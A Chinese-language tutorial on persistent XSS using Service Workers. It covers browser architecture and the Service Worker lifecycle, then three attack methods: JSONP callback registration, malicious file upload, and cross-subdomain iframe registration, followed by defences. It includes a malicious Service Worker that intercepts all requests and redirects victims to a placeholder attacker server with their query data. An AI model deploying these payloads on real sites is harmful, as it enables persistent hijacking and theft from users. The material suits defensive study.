持久化xss基础
字数 1566 2025-08-10 08:28:27
持久化XSS基础:利用Service Worker实现持久化跨站脚本攻击
浏览器模型基础
多进程架构
现代浏览器(以Chrome为例)采用多进程模型,主要包含以下进程类型:
- Browser Process:浏览器主进程,负责创建和销毁其他进程
- GPU Process:处理GPU相关操作
- Renderer Process:每个标签页独立进程,负责页面渲染、脚本执行等核心功能
- Plugin Process:每个插件独立进程
Renderer Process的多线程
每个Renderer Process包含以下关键线程:
-
GUI渲染线程:负责渲染HTML元素,与JS引擎线程互斥
- HTML解析为DOM Tree
- CSS解析为CSSOM Tree
- 合并为Render Tree
- 计算节点几何信息(Layout/Reflow)
- 绘制页面(Painting/Repaint)
-
JS引擎线程:执行JavaScript代码,单线程运行
-
定时触发线程:处理setTimeout/setInterval计时
-
事件触发线程:管理事件队列
-
异步请求线程:处理XMLHttpRequest等异步请求
Web Workers简介
Web Worker允许JavaScript创建后台线程,特点包括:
- 子线程受主线程控制
- 不能直接操作DOM
- 运行在与window不同的全局上下文中
- 限制访问:DOM、部分window属性和方法、document对象等
Service Worker特殊类型
Service Worker是一种特殊的Web Worker,特点包括:
- 充当Web应用、浏览器和网络间的代理
- 可拦截和修改网络请求
- 支持离线体验
- 可访问推送通知和后台同步API
- 必须通过HTTPS运行(localhost除外)
- 内容类型必须是JavaScript(text/javascript, application/x-javascript, application/javascript)
Service Worker技术细节
生命周期
- 通过
serviceWorkerContainer.register()注册 - 生命周期状态:
- 安装(install)
- 激活(activate)
- 空闲(idle)
- 终止(terminated)
- 获取(fetch)
作用域限制
- 默认作用域为注册脚本的路径
- 最大作用域为Service Worker所在地址
- 可通过
Service-Worker-Allowedheader扩展作用域
关键API
-
fetch事件监听:
self.addEventListener('fetch', function(event) { // 拦截和处理请求 }); -
响应控制:
event.respondWith(new Response(body, init)); -
自定义响应:
new Response('<script>恶意代码</script>', { headers: { 'Content-Type': 'text/html' } });
持久化XSS攻击方法
1. JSONP + Service Worker组合攻击
利用JSONP端点注册恶意Service Worker:
// 恶意Service Worker代码
self.addEventListener('install', function(event) {
console.log('Service Worker安装成功');
});
self.addEventListener('fetch', function(event) {
event.respondWith(
new Response('<script>location="http://攻击者服务器?"+btoa(location.search)</script>', {
headers: { 'Content-Type': 'text/html' }
})
);
});
通过JSONP端点注册:
navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('恶意脚本URL')");
2. 文件上传+Service Worker
利用文件上传漏洞上传恶意JS文件,然后注册为Service Worker。
3. 跨域扩展攻击
当存在多个子域名且设置了相同document.domain时:
document.domain = "example.com";
var iframe = document.createElement('iframe');
iframe.src = 'https://sub.example.com/';
iframe.addEventListener("load", function() {
iframe.contentWindow.eval(
'navigator.serviceWorker.register("/api/endpoint?callback=self.importScripts(\'恶意脚本URL\')")'
);
});
document.body.appendChild(iframe);
防御措施
- 严格限制Service Worker注册源
- 对JSONP端点实施严格的输入过滤
- 文件上传严格验证内容类型和内容
- 避免不必要的document.domain设置
- 实施Content Security Policy (CSP)
- 确保所有Service Worker脚本来自可信源
总结
Service Worker提供了强大的网络请求拦截和修改能力,这也使其成为实现持久化XSS的理想工具。攻击者通过结合JSONP、文件上传或跨域技术,可以注册恶意Service Worker实现长期驻留。防御需要从多个层面入手,包括严格的输入验证、合理的权限控制和全面的安全策略实施。